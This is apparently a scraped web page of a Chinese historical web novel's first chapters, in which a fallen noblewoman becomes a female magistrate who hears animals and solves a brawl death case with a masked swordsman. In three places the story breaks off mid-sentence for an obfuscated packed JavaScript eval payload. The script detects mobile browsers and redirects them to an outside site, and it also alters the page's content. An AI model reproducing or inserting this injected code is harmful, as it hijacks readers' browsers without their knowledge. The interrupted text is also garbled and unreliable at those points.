《大夏第一女相》 1. 状元深宫闻燕语 皇帝宴会授官职 秋风萧瑟,又是一年天凉时节。 在京城最热闹的朱雀大街上,昌平侯府的鎏金匾额已被官差摘下。云水谣穿着一身囚衣,跟家人们一起被官差押出大门。 昨日,她还是高高在上的侯府千金,今日已成阶下囚。宽大的囚衣掩盖不住她单薄的身形,一阵秋风吹过,她打了个喷嚏。她下意识地想找手绢擦擦,却回想起来自己家已经被抄,哪里还有手绢给她用?只能用衣袖勉强擦拭。 平时路过侯府不敢多作停留的百姓们,此刻全都围在附近,对她们指指点点,议论纷纷。 “这昌平侯府怎么抄家了?” “听说,是昌平侯在边关打了败仗,丢了三座要紧的城池,数万百姓被匈奴俘虏,粮草辎重损失无数,还有几个皇亲国戚作为副将,也被匈奴人杀了。皇上震怒,下旨将昌平侯府削爵抄家,全家流放岭南。” “这可真够倒霉的,谁能想到平日里高高在上的昌平侯府,也会有这一天呢?” “哎,你们看,那边那几位漂亮的小姑娘,就是昌平侯府的千金吧?可真是够美的,流放了可惜了,不如嫁给我,嘿嘿……” 听着这些议论,云水谣怒火中烧,却又无可奈何,只能皱眉而已。她尽量把头低下,把妹妹们的头也按下,披散着头发,遮住大半面容。 弟弟妹妹们跟在她身后,害怕地哭着。她将弟弟妹妹搂住,安慰他们:“别怕,有姐姐在。” 二妹怯怯地问:“姐姐,我们会死在流放路上吗?” “不会,姐姐会保护你们的。更何况,我们家未必到绝境了。” “什么意思?” 云水谣没有回答,只因有件事她还不能确定。 正当她们被推搡着往前走的时候,忽然有个红衣小吏举着一份邸报,骑马前来,行色匆匆,对那些押解犯人的官差道:“且慢!” 官差问道:“这位大人,因何拦住我等的去路?” 红衣小吏道:“我是礼部的小吏,特来宣告本次女子科举的结果。原昌平侯长女云水谣,考中女进士第一名,我特来接她进宫赴琼林宴。” 在场之人均十分惊讶,只有云水谣面色沉静,仿佛早已预料到这一结果。 当今皇帝实行新政,要选拔几个有才能的女官,因此举办了第一届女子科举。 女子科举本是试推行,本次只有高官之女、宗室贵女能参加,且要经过五次考试,考试内容涵盖文学政事、天文地理、刑名断案等种种知识,最终只录取三名女进士。 由于考试严格,且录取名额少,参加的女孩也不多。其中大半还是没多少学问,只是来凑数的。 云水谣从小勤奋好学,五场考试下来,自觉考得不错,取得名次也在意料之中。只是没想到,自己竟能考中女状元。如此一来,她就有保住家族的可能。 她对官差说道:“各位差爷,我既已考中进士,说不定圣上会赦免我的家人。还请各位差爷暂且等待,不要将我的家人押解上路。” 官差们也客气了许多,道:“云大小姐别担心,我们会让你的家人进府等待。等皇上赦令一到,我们便会离开。” 云府的家人们都满怀希冀地看着云水谣,脸上闪着劫后余生的喜悦。昌平侯虽兵败丢城,但云水谣身为夏朝第一个女状元,想必在皇帝心中还是有点分量的,也许她真能求到赦令。 云水谣安慰了家人几句,便随着礼部小吏骑马入宫。 大夏皇宫分为外宫和内宫,内宫是妃嫔们居住,外宫是皇帝接见朝臣、举办宴会地方。 云水谣来到外宫,随着内侍一路来到举办琼林宴的太和宫。 由于本次中举的女进士只有三人,宴会的规模不大,只有一些高官重臣在场。他们看见云水谣,眼神各异,有敬佩的,有鄙夷的,有欣赏的,有防备的,难以尽述。 有几个官员在窃窃私语: “云家不是抄家了吗?” “是啊,可是云家大小姐就在抄家的同一天考中女进士,还不知道云家命运如何。” “难道就因为云水谣考中进士,就能赦免她父亲的罪不成?” “皇上还没说什么,昌平侯府未必能得到赦免。” “可是皇上允许云水谣来参加琼林宴,便是摆明自己的态度了。” “真不公平,昌平侯损失了三座重要的城池,难道便要这样轻轻揭过吗?” “反正我不能接受,我表哥跟随昌平侯去边关打仗,本是为了立些战功,回来方便升官,可是由于昌平侯的错误决策,我表哥死在了战场上。我真希望云家永不翻身。” “你们说,云水谣真是靠自己考中的女进士吗?女人不可能这么聪明吧?” “对啊,从来没见过这么会读书的女人,我想她一定是用特殊的方法作弊。” 云水谣听力不错,把这些议论都听了进去,心中百感交集。然而,她面上却不能表露出什么。有人来向她敬酒祝贺,她微笑着回应,保持着得体的样子。 过了一会,皇帝来了,众人拜见皇帝后入座。 皇帝对三位女进士说了一些夸赞、勉励的话,接着单独看向云水谣:“云水谣,你考中进士,本该授予官职。但你父亲获罪,你属于罪臣之女。功过相抵,你既不能做女官,也不必随家人流放。从今以后你便是庶民,朕会赠你白银百两、良田五亩,作为日后生活所需。宫宴之后,你便出宫吧。” 见皇帝如此安排,有人窃喜,有人遗憾,还有人愤愤不平,觉得如此处置太轻了。 有官员进言:“皇上,原昌平侯是大夏的罪臣,他的女儿不该被赦免,应该随家人一起流放才是。难道就因为她有才华,便可以免罪吗?那以后天下的才子,岂非都可以随意犯案?” 有官员说了句公道话:“这败仗又不是云水谣打的,跟她有什么关系?她考中进士不能做官,已经很委屈了,何必再踩上一脚?她看着如此娇弱,若是在流放路上有什么三长两短,岂非有伤天和、有违圣上仁慈之心?” 还有官员说道:“皇上,昌平侯犯罪,与其女无关。云水谣有经世之才,若不加以录用,岂不可惜?不如封其为女官,让她戴罪立功,也好挽回原昌平侯府的声誉。” 众官员众说纷纭,观点不一,皇帝听了之后,皱眉道:“朕知道众位爱卿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907759|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中有不同的想法,但朕已决意维持原判,众人都无需多言。” 云水谣只得谢恩:“谢皇上隆恩。” 她心里有些失落。本想凭借自己女状元的身份,为家人求情,没想到最终只有自己一人免于流放。这个结果对她来说已经是最好的了,但她的家人还是要继续受苦。 宴席开始,众人愉快地吃着。云水谣虽食不知味,但也尽量多吃一些。这种规格的宴席,以后只怕吃不到了,只能趁今天多补充一点营养。 这时,皇帝有些不悦道:“朕的鸭子汤里怎么有泥?” 听闻此言,宫人、内侍跪了一地,做饭的御厨也被叫过来,一同对峙。 可所有人都说不知道怎么回事,跟自己无关。 皇帝怒道:“既然无人承认,负责本次宫宴的宫人、御厨,全都进慎刑司受审,直到查出真相为止。” 宫人和御厨都十分惶恐,纷纷磕头求饶。可饶是这样,还是无人承认。 这时,云水谣听见几只燕子在檐上交谈: “刚才我衔泥筑巢的时候,不小心落了一点泥土在皇帝的鸭子汤里,现在皇帝生气了。” “怎么办啊,有很多无辜的人要受刑了。” “可惜我们跟人族语言不通,没法告诉皇帝真相。” “唉,有人要因为这点泥土被处死了。” 云水谣听完后,知道了真相。 她小时候曾因为救一只松鼠,落水发烧。病好之后,她突然能听见动物说话了。这项天赋太过离奇,她从未跟人说过,没想到今日派上了用场。 只是,她不知道该如何说出真相,总不能说自己能听懂燕子说话吧? 这时,她看见了屋檐下的燕巢,有了主意。 她上前几步,跪在皇帝面前,道:“皇上息怒,汤里的泥土,跟宫人和御厨无关。” 皇帝惊讶道:“你为何这么说?” “皇上请看屋檐上的燕巢,上面的泥土跟鸭子汤里的泥土一样,应该是燕子筑巢时无意间掉落。” “朕的桌子又不在燕巢正下方,燕巢上的泥土怎会落入朕碗中?” “燕子衔泥筑巢,飞来飞去,难免会经过您的桌子,掉落泥土也是有可能的。皇上请看,屋檐上的燕巢才筑了一半,上面的泥土还是新鲜的,证明燕子刚刚开始筑巢,今日必会叼回许多泥土,无意间掉落也是正常的。” 众人抬头一看,果真如云水谣所言。燕巢刚筑了一半,侍卫们抓了几只燕子下来,发现它们嘴里都衔着泥。 看来,真相就是如此。 皇帝赞许道:“云水谣,你心细如发,真称得上明察秋毫。若没有你,朕今日险些伤及无辜。” 云水谣赶紧道:“这是皇上圣明,民女不敢居功。” “哎,你怎么还自称民女?” 云水谣有些激动,问道:“皇上的意思是?” “朕认为你一定会是个出色的女官。虽然你父亲打了败仗,但不该把责任算在你的头上。即日起,朕命你为洛县县令。” “谢皇上!只是,臣还有一不情之请。” “何事?” 2. 为侍从少年情窦开 争水源两村龙虎斗 “皇上,臣家中祖母年迈多病,弟妹年幼,可否一并赦免她们?臣会亲自抚养家人,不让皇上费心。” “你父亲在边关铸成大错,朕让你当女官,已是格外开恩,你的家人暂时不能赦免。不过朕答应你,若你有朝一日成为女相,朕便会让你的家人从岭南回来。” “谢皇上!” 虽然成为女相遥遥无期,但皇帝既然有此承诺,总还是有希望的。 云水谣暗下决心,一定要好好做官,积攒政绩,早日升迁。 离开宫宴后,她便收拾行囊,往洛县而去。 云家的下人都被发卖了,不过皇帝特许云水谣留下两个丫环伺候自己,毕竟她现在是官员,这点体面还是要有的。另外,皇帝赏赐了她白银五百两,绸缎十匹,良田十亩。 云水谣留下了自己的贴身丫鬟兰心、彩月。至于其他下人,她救不了,只能眼睁睁看着他们被押走。 临别之时,她向家人保证:“我一定会尽快成为女相,把你们接回来。” 接着,她又拿出一部分皇帝赏赐的银两,打点官差,让他们在路上照顾一下自己的家人。 官差们拿了钱,说道:“云大人放心,您的家人一定会得到妥善照顾的。” 打点好一切后,云水谣租了辆马车出发了。 一路无事,赶了半个月的路,便快到洛县了。 赶车的丫环彩月道:“小姐,翻过前面那座山,就到洛县了。” 云水谣点头:“好,那我们不要耽搁,快赶路吧。” 这座山虽险峻,好在有一条较宽的路,刚好能容纳一辆马车穿行。云水谣掀开帘子看风景,这山中的麻雀也不怕人,飞进了马车中。 云水谣觉得它们可爱,便拿出一些小米,放在托盘上,让这些麻雀啄食。 麻雀们边吃边说着雀语: “这些小米真好吃!” “一会去哪里喝点水?” “我刚才飞到西边的泉水那里,准备喝水,但是发现那里倒着一个人。那个人流了好多血,把泉水都染红了,我就不敢喝了。” “什么人啊?” “是一个穿黑衣服的年轻人,还戴着个面具。” 听闻此言,云水谣起了救人的心思。她对彩月道:“停车,我去林子里看看。” “小姐,听说这山中有猛兽,我们还是别停留了。” “我闻到一丝血腥味,若是山中有人受伤,我们随手搭救,也是善举。” 丫环兰心、彩月便跟着云水谣下车,往深山中走去。 她们朝西走了半个时辰,果然见到一处泉水,旁边还趴着一个黑衣少年。 泉水颜色淡红,看来这黑衣少年流了不少血。云水谣走过去一看,发现这少年昏迷着,脸上戴着一个青铜面具。 两个丫环议论道: “这人为何戴着面具?” “不知道,可能是长得太丑了吧。” 云水谣见这少年身上有不少伤口,便从包袱中取出绷带、药膏,先简单处理了一下。但有一些较为严重的伤口,她处理不了,只能赶紧下山,找家医馆给他医治。 但是,怎么把他弄上马车却是个问题。 兰心道:“小姐,要不我们扛着他吧?” 彩月摇头:“此处距离我们的马车有半个时辰的路程,我们扛不了那么久的。” 云水谣想了想,觉得还是先唤醒这少年,让他自己走路比较方便。因此,她便掀开少年的面具,打算掐他的人中。 一掀开面具,云水谣就看呆了。原来这少年根本不丑,反而皮肤细腻,面如好女,睫毛细长,眉形端正,若是穿上女装,应该很像个女孩。怪不得他要戴面具,这副模样要是暴露在人前,怕是要招惹一些好男风的猥琐男人。 她本想用力掐他人中,一见到这样的脸,忍不住便放轻了动作,只是轻轻掐了一下。 这少年醒转过来,一双乌得发亮的眸子愣愣地瞧着云水谣,带着几分疑惑,有气无力地说道:“姑娘,是你救了我?” “对,我现在带你上马车,去找医馆。但是我和丫环扛不动你,你能自己走吗?” “可以……不过,可能得扶一下。” 云水谣点点头,将他搀扶起来。兰心和彩月要上前扶着他往前走,但她们俩太矮了,体型也过于瘦弱,扶着这少年很吃力。 云水谣长得高些,骨架稍大,比两个丫环更适合搀扶。当下也顾不得许多,云水谣便主动扶着那少年。 少年的一半身躯靠在云水谣身上,炽热的体温传了过来,让云水谣的脸颊微微发烫。云水谣觉得自己的心跳得很快,为了转移注意力,便有一搭没一搭地跟这少年闲聊。 在交谈中,云水谣得知,这黑衣少年名叫景佑,是个侠客。他从小是弃婴,被一个道士收养,跟着道士学习武功和学问。如今道士过世,他一个人漂泊,四海为家。 前两天,突然有一群蓝衣杀手追杀他。他敌不过,带伤逃跑,因轻功好,且不停地变换方向,终于摆脱了那群杀手。只是,他也因伤势过重,晕倒在泉水旁。 云水谣问道:“那些杀手为何追杀你?” “我也不知道,我并不认识他们。” “那他们可有说什么?” “没有,他们见到我后,直接就动手了。我也试过套话,可他们嘴很严,什么都套不出来。” 云水谣想了想,道:“你孤身一人,难免还会被杀手盯上。不如跟我去洛县,做我的护卫。你成了官府中人,想必那些杀手会收敛一些。” 景佑好奇地看着她:“你是官府的人?” “没错,我就是新上任的洛县县令,云水谣。” 景佑看向云水谣的眼神中,多了几分欣赏。他考虑了一番,觉得自己现在也没有更合适的去处,洛县比较偏远,想来那些杀手也猜不到自己去了洛县,因此便同意了。 云水谣十分高兴。她家遭了难,自己身边只剩下兰心、彩月两个丫头,没有护卫。如今景佑愿意留下,对自己也是个助力。 景佑见到云水谣的笑容,如三月的桃花,嫣红中透露出鲜嫩的生机,不觉心中一动。 他赶紧挪开目光,看着地下。 他们走了一阵,便走到马车边,上了马车,疾行而去。 山路颠簸,景佑的伤口时不时被牵扯着,有些疼,他都咬牙忍着,不吭一声。 云水谣见景佑面色发白,冷汗频频,便递给他一块手帕,让他擦汗。 景佑道谢,接过手帕,只觉帕子上有一阵清香,像是女儿家常用的脂粉香,不觉有些脸红。他紧紧抓着手帕,却没有使用,生怕弄脏了。 行了一个时辰,便到了洛县境内。云水谣找了家医馆,让大夫给景佑医治。大夫从来没见过伤得这么重的人,小心翼翼地给景佑治伤,花了数个时辰。 完毕后,大夫道:“这个后生伤势过重,最好在这里休息两天,不然伤口容易裂开。” 景佑却不以为意:“我现在就能走。” 大夫见他从床上坐起来,有些不悦:“快躺下!刚给你包扎的伤口,你一使劲又裂开了!” 景佑只得平躺着。 云水谣道:“景佑,你在这儿安心养病吧,我们也在此等着便是。” “可是,我怕耽误了大人的事……” “不要紧,我们本就早到了数日,耽搁一两天也没事。” 听闻此言,景佑才安心养着。 接下来的两天,云水谣时不时地过来探病,跟他闲聊两句,两人也渐渐熟悉了起来。 第三天,景佑好了一半,便向大夫辞行,跟云水谣一道往衙门赶去。 又行了一日,她们到了洛县县衙。 洛县的属官们早就听闻新县令要来,已在正堂迎接。 见到云水谣时,这些属官都有些惊讶,有的甚至露出了鄙夷的神情。 云水谣看在眼里,心知女官确实难以令这些下属信服,只有自己展现出能力,才能坐稳县令的位置。 她跟这些属官见了礼,一一询问了他们的年龄、差事、籍贯,做了初步了解。 属官里官职最高的便是县丞林复, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907760|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云水谣问他:“本县可有积压的政务?拿来给我看看。” 林复有些犹豫:“大人远道而来,还是稍作休息。您的房间已经打扫好了,我让人带您过去。” “你们是不相信本官能处理政务?” “不敢。” 虽然他们心里都对云水谣的能力有所怀疑,但自然不能宣之于口。 云水谣花容月貌,举止娴雅,看着像是养在深闺的千金小姐。 像她这样的女孩成了顶头上司,下属们难免把她当成什么都不懂的小女孩。 若把政务交由小女孩处理,未免有些儿戏。 县丞林复今年已经五十多岁,老成持重,还从来没见过女子能主事的,因此还没准备好跟云水谣交接政事。 云水谣正想着该如何说服他们,忽然有个衙役跑了进来。 “几位大人快出去看看吧,外面死人了!” 云水谣吓了一跳,正想去外面看看情况,县丞林复拦住她,道:“大人且慢,等我先问问情况。” 接着,林复问那衙役:“怎么回事?” “桃源村和杏花村为了抢水源发生械斗,桃源村有几个人重伤,抬回去之后死了。现在桃源村的村民把死人抬到了公堂,要状告杏花村所有村民。” “他们没有带农具吧?” “没有,村民们都是空手来的。” 听闻此言,众官吏放下心来。 这属于两村之间的纠纷,只需主持公道便可,对官吏们来说没什么危险。 刚才那衙役慌慌张张地进来说死人了,众人还以为是有人打进来了,都十分紧张。 云水谣看向林复,他的反应比自己沉稳许多,看来自己还有很多需要学习的地方。 因此,她诚恳地对林复说道:“林公,我现在升堂审案,还请您从旁协助。” 见云水谣如此客气,林复也赶紧说道:“这是属下应尽之责,属下会站在您身边提醒您的。” 林复心中对云水谣也改观了。 他本以为云水谣来当官不过是图个新鲜,不会真心关注政务民生,但如今看来,云水谣勤奋好学,谦和有礼,竟是真把自己的官职和责任当回事的。 因此,他也决定好好帮助云水谣。 很快,云水谣来到公堂。 公堂外面有一些村民吵吵嚷嚷的,还互相推搡,里面摆着两具尸体。 云水谣一拍惊堂木,喝道:“肃静!” 村民们停了下来,看向云水谣,不知她是女官,愣了一会便继续吵嚷。 县丞林复喝道:“云县令在此,再有喧哗吵闹者,一律杖责!” 村民们终于安静下来。 云水谣问道:“这两个死者因何死亡,尔等如实说来。” 众人七嘴八舌的,云水谣一句也没听清。 林复在一边高声道:“安静!村长上来回话,其余人等不许说话。” 云水谣这才发现自己欠考虑了,林复所言比较合理。只让村长说话,既能快速理清事情经过,又可避免其他人插嘴扰乱思路。 在这些细节方面,自己确实不如这些在官场多年的吏员。 有两个中年人走上前来,他们便是桃源村和杏花村的村长。 他们两人抢着说话,彼此都对对方有些仇视。 云水谣道:“左边那个先说。” 左边的是桃源村村长,他回话道:“大人,小的是桃源村村长。昨天桃源村和杏花村发生械斗,是杏花村的人先动的手。我村村民王大虎、李三被打成重伤,抬回家后几个时辰就死了。由于当时是半夜,无人发现,今天早晨他们的尸体才被发现。因此我们要状告杏花村村民。” 杏花村村长反驳道:“冤枉啊大人!当时明明是桃源村的人先动的手。而且王大虎、李三虽然受了点伤,但他们是自己走回去的,看着没什么大问题,怎么可能一晚上过去就死了?他们的死一定有蹊跷,桃源村想讹钱,才赖在我们头上!” 云水谣问道:“当时有多少人参与械斗?打伤王大虎、李三的村民是哪几个?” 3. 证词存破绽 尸身起疑云 杏花村村长犹豫了一会,道:“大人,当时两个村的青壮年基本都参与了械斗,大伙互相攻击,实在分不清打伤王大虎、李三的究竟是谁。只是,众人下手都是有分寸的,不可能往死里打,还请大人明察。” 云水谣有些头疼。 像这种群体性的斗殴事件,难以确定具体的责任人,只能法不责众,让所有参与者共同赔钱给死者了。 此案看起来没什么复杂的,虽然两个村的人都有错,但是桃源村现在死了两个人,就是苦主,于情于理杏花村的村民应该道歉赔钱。 出于严谨考虑,云水谣还是叫仵作验尸。 衙役回禀道:“大人,本县的仵作病了。” “这可如何是好?” 一直沉默地站在云水谣身后的景佑开口:“我也学过验尸,让我试试。” 云水谣有些惊喜,但又怀疑景佑是否能做好。 景佑似乎看出了她的心思,默默道:“大人放心,我若验得不对,便给你买糖糕。” 云水谣觉得有些好笑,她这些天经常吃糖糕,没想到景佑已经学会用这种方式讨好她。 让人知道她爱吃甜食,实在有损形象,因此她咳嗽了两声,正色道:“本官没什么不放心的,你去验尸吧。” “是。” 景佑要去搬那两具尸体,云水谣阻止了他:“等等,我先看看尸体。” 第一个死者王大虎,是个二十来岁的年轻人,比较干瘦,面目黧黑,头上、脸上和手掌都有一些伤口,但看着不太深。 身上应该也有伤口,只是村民打完架回家后,肯定把当时穿的衣服换了,因为打架时穿的衣服肯定又破又脏,还带着血迹,没法长时间穿着。 现在王大虎穿的是干净衣服,也看不出身上伤在哪里。要等验尸时解开衣服,才见分晓。 第二个死者李三,是个大胡子壮汉,看着四十来岁。 云水谣走近他时,闻到一股酒味。 她向村民们看去:“李三的家人在吗?” 有两个农妇走了出来,一个年轻,一个年老。年轻农妇回话道:“大人,我们俩是李三的母亲和妻子,请大人一定要为李三做主啊。” “李三死之前喝酒了?” 年轻农妇犹豫了一会,道:“是,李三喜欢喝酒,就算受伤了也要喝。我劝过,他不听。” 云水谣点头:“怪不得他身上有酒味。” 云水谣看得差不多了,便吩咐衙役,将两个死者抬去验尸房,让仵作验尸。 接着,她对村民说道:“等验尸结果出来,再做处理。其他村民先回去吧,死者的家属留一下。” 村民们见云水谣没有当庭判决,都议论纷纷。 有的村民说道:“大人,不用验尸了,他们就是被打死的,让杏花村的人赔命或者赔钱!不能轻易饶了他们!” 杏花村村民也吵嚷道:“我们没打死人!说不定是你们自己打死,来讹诈我们的!” “怎么可能!” 眼看两村百姓又要打起来,云水谣大声喝道:“都安静!此事本官自有决断,无关人等先回家。有敢闹事者,全部收监!” 村民们怕进监狱,便作鸟兽散。 只有两个死者的家属留了下来。 云水谣道:“你们说说两个死者临死前的情形,不要遗漏任何细节。” 王大虎只有一个弟弟,叫王小虎。 王小虎道:“大人,昨天我们跟杏花村的人打完架后,就回家了。我哥受伤较重,我送饭给他吃,吃完我就回了自己家,然后就睡觉了。今天早晨我才听说我哥死了,肯定是昨天伤得太重的缘故。” 云水谣:“他既然伤得这么重,你没给他请个大夫?” “我哥说不用请大夫,休息一晚上就好了。以前他也受过伤,都是靠自己捱过去的,我以为这次也没什么问题。早知道我就……” 王小虎说着说着就哭了起来。 云水谣继续问道:“先别哭了,你哥吃饭时,有没有什么异常?” “没有,他就是说伤口疼,让我这几天帮他耕一下田。” “后来发生什么,你就不知道了?” “对,我们已经分家了,不住在一起的。我想,吃完饭后,我哥应该直接睡觉了吧。但是他没想到自己伤得太重,在睡梦中就死了。” 云水谣点了点头,让王小虎先退到一旁,转而问起李三的家人。 李三的母亲年迈,口齿不清,眼神也不太好,因此云水谣让李三之妻回话。 李三之妻道:“昨天桃源村和杏花村打起来了,我要出去看看,李三不让我去,说是危险。他自己提着把锄头就去了。过了大约一个时辰,他才回来,浑身是血。我很担心,他却说都是皮外伤,让我给他包扎一下,烫点酒喝。 “我说,受伤的人最好不要喝酒,他生气了,逼我给他热酒。我拗不过他,只好让他喝了几杯。喝完他就睡着了,我也是今天早上才发现他死了……” “他晚上吃了多少东西?” “没吃东西,他刚打完架,心情不好,吃不下东西,只喝了酒。” “他半夜死了?没发出什么动静?” “没有。也怪我睡得太死了,如果我能早点发现的话……” “你给他包扎时,他身上的伤口是什么样的?深不深?” “伤口挺多的,深的浅的都有,身上还有许多淤青。我想,可能他是被打坏了内脏,才突然地死了。” 云水谣叹息一声,让李三的家人也去休息。 听这些证词,似乎没什么问题。但为保守起见,云水谣还是要听听仵作的验尸结果。 她来到停尸房,见景佑正在桌上写着验尸格目。他坐姿端正,下笔沉稳,倒像是个苦学多年的世家子弟,散发着一丝书卷气。 听见云水谣的脚步声,景有抬起头来看她。云水谣觉得,仿佛有一束光忽然照在了她的身上。 她定了定心神,问道:“验尸完成了吗?” “这两个死者身上都有许多外伤和淤青,伤口应该是由锄头、镰刀、扁担、棍子等东西造成,这些都是村民械斗常用的武器。看起来,似乎是死于械斗。不过,这两具尸体都有一些疑点。” “什么疑点?” “这两具尸体身上的伤口,基本上都是八个时辰前形成的,也就是昨日的申时,这也符合他们械斗的时间点。 “但是,王大虎的两个膝盖处各有一大块淤青,形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907761|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成时间大约是六个时辰前,也就是昨日的戌时。所以,他的淤青是械斗结束后才受的伤,可能是回家之后磕到的。而且,他的后脑勺也有一处伤口,形成时间也是六个时辰前。” 云水谣感到奇怪:“但是据王大虎的弟弟所言,王大虎回家之后,吃了饭就睡了,应该不会磕出淤青。会不会是他睡到一半要起来上茅房或者喝水,不小心磕到的?” “后脑勺的伤口,可能是不小心磕到,但是膝盖的淤青不会。” “为何?” “王大虎的左脚崴了,他走路姿势应该是一瘸一拐的,重心都在右脚上。就算他不小心磕到某处,应该也只会磕到一只脚,怎么会两只脚的膝盖都有非常严重的淤青呢?除非他是不小心双腿跪地,而且跪下的力道特别大,才会磕成这样。” “他既然受了重伤,一时重心不稳,双腿跪地也是有可能的。” “大人,您还记得杏花村的村民说的话吗?” “什么话?” “杏花村的村民说,当时械斗虽有人受伤,但是他们是自己走回去的,看着没什么问题。如果当时王大虎的伤真的严重到走路会跪下,那他还怎么走回去?” “这倒也是……但是,杏花村的人为了脱罪,故意这样说也有可能。” “如果械斗结束时王大虎就走路不稳,随时会摔倒使双脚跪地,那他的膝盖淤青应该也有八个时辰,而不是六个时辰。所以,他的淤青肯定是在自己家里撞的。也就是说,他回家之后一定发生过什么。” 云水谣觉得景佑说的有道理。 也许王大虎的弟弟隐藏了什么事情没说。或者他弟弟也不知道后面发生了什么,毕竟他们不住在一块。 云水谣接着问:“你刚才说两具尸体都有疑点,那李三尸体的疑点是什么?” “大人请看,李三面色发绀,嘴唇青紫,面部肿胀,脸上尸斑尤为明显,这是窒息而死的症状。所以,他不是因受伤过重而死的。” “你的意思是,李三死于窒息?” “没错。” 云水谣大惊。她看了李三的尸体,其面貌特征果然跟景佑说的一样。 云水谣分析道:“如果是窒息而死,说明这是他杀……那么,李三就不是死于械斗,还得找出杀害李三的凶手。” 景佑摇头:“未必有凶手。” “什么意思?” 景佑指着一块布,让云水谣看。 这块布上有一些食物残渣,散发着恶臭。 云水谣忍着不适,问道:“这是什么?” “这是从李三的口鼻中取出来的食物残渣。结合他身上的酒味,可以初步判定,李三是昨晚回家之后,喝了酒又吃了东西,晚上睡觉时呕吐了。但他平躺着,呕吐物没法吐出去,都堵在喉咙和口鼻处,造成呼吸困难,窒息而死。当时他的家人可能已经睡着了,所以没发现。” “原来是这样……可是,如果他真是被呕吐物憋死,食物残渣应该不至于只有这么点才是。” “这只有一种可能,就是他的家人在把尸体送来前,已经先把他口鼻内的食物取出来了。只是取不干净,还留有一些残渣,被我发现了。” “这……她们为何要这么做?” 4. 侠客摘叶露心意 寡妇说谎引同情 “大人觉得呢?” “我明白了……她们想把李三的死推到昨天的械斗上,这样杏花村的人就会赔钱。怪不得我刚才问李三的家人,李三昨晚可有吃东西,她们一口咬定没吃。” 如果李三之妻如实告知李三昨晚喝酒吃菜的情况,云水谣很有可能推断出李三之死的真相,而这是李三的家人不愿见到的。 李三已经死了,家里就剩两个弱女子,她们想凭借这个机会得一笔赔偿金,所以隐瞒了真相。 虽然这个推论很合理,云水谣还是要亲自问问李三的家人。 因此,她让人把李三的母亲和妻子带到停尸房。 她们两人重新见到李三的尸体,悲从中来,扑到尸体上哭了起来。 云水谣冷冷道:“你们且先别忙着哭,李三究竟是怎么死的,再说一次。” 李三的母亲耳朵不太好使,这次仍是李三之妻回话:“大人,李三是因伤势过重而死的,民妇刚才已经说过……” “大胆!你竟敢欺瞒本官!从李三的口鼻中取出一些食物残渣,他分明是被自己的呕吐物憋死的。” 李三之妻本就有些心虚,见云水谣已经有了证据,她面如死灰,只得承认:“大人,民妇不是有意的……李三他是我们家的顶梁柱,他没了,我和婆婆没法生活……虽然他是被自己的呕吐物憋死的,可是如果昨天不发生械斗,李三也不会心情烦闷,非要喝酒,那也就不会发生这个意外了…… “所以,杏花村的人也有责任不是吗?他们应该赔钱!” 云水谣皱眉:“他们只应承担伤人之责,但你却把杀人之罪安在他们头上,实在太过分了!更何况,两村为了水源发生械斗,谁都不能说自己是正确无辜的一方。 “念在你婆媳二人孤苦无依,本官可以赦免你之前说谎诬告之罪,你们将李三的尸体领回去好好安葬吧。” “大人,难道我夫君就白死了吗?那么多人打架,为什么只有他死了,为什么……” 李三之妻容颜凄苦,眼神中透着迷茫和怨恨。 云水谣心中也不免同情她,农民争水源,也不过是为了养活自家的庄稼。 可是,李三却付出了生命的代价,还留下母亲妻子无依无靠。 归根到底,还是要先解决水源的问题,才能减少此类事情的发生。 云水谣安慰道:“虽然参与打斗之人都有错,但你家情况特别严重,本官会叫杏花村的村民凑一些银两给你,只是肯定不能按人命案的银两来算。 “官府对于生活困难的家庭也有补贴,你可以去领。你还年轻,寻个营生,养活自己和婆婆不成问题。” 李三之妻下跪叩谢:“多谢大人帮助,民妇以后绝不讹人了,会安分过日子……” 云水谣叹息:“你去吧。本官会派人将李三的尸体送回去。” 对待这个可怜的女人,云水谣也无法苛责,只是心里哀叹民生多艰。 送走了李三的家人后,云水谣心中有些闷闷的。 她以前长于侯府,没有近距离接触过底层百姓。 如今看来,每个人要活下去都不容易。 为了争水源,村民们可以大规模械斗,完全不拿自己的生命当回事。 为了得到赔偿款,一个老实本分的民妇学会了讹人…… 她感慨于这样的乱象,同时又觉得,自己必须得为百姓做点什么。 这时,景佑走了过来,手里拿着一片叶子。 “大人,给你。” 云水谣接过那片银杏叶,问道:“这是从哪里来的?” “树上掉的,我一伸手就接到了。很好看,给你。” “谢谢。你是希望我开心一点吗?” 景佑被问住了,没有回答,低着头走远了一些。 他的耳朵有些红,云水谣偷偷一笑,也不戳破。 